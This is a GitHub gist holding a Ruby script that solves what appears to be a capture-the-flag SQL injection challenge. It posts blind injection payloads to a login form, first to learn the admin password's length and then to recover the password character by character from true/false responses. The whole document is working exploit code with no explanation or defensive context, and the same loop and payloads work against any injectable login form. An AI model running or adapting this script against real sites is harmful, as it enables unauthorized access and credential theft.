Skip to content

Instantly share code, notes, and snippets.

@gomasy
Created June 11, 2015 16:16
Show Gist options
  • Save gomasy/29b5fe30ae9e169a08eb to your computer and use it in GitHub Desktop.
Save gomasy/29b5fe30ae9e169a08eb to your computer and use it in GitHub Desktop.
require "uri"
require "net/http"
url = URI.parse("http://ctfq.sweetduet.info:10080/~q6/")
puts "Step1: Surveying password length..."
for i in 1..100 do
response = Net::HTTP.post_form(url, "id" => %(' or (SELECT length(pass) FROM user WHERE id='admin') <= #{i}--))
if response.body.include?(%(Congratulations!))
len = i
break
end
end
puts %(Complete. password length is #{len}.)
puts "Step2: Surveying password..."
for i in 1..len do
(33..126).each do |c|
response = Net::HTTP.post_form(url, "id" => %(' or substr((SELECT pass FROM user WHERE id='admin'), #{i}, 1)="#{c.chr}"--"))
if response.body.include?(%(Congratulations!))
print c.chr
break
end
end
end
puts "\nComplete."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment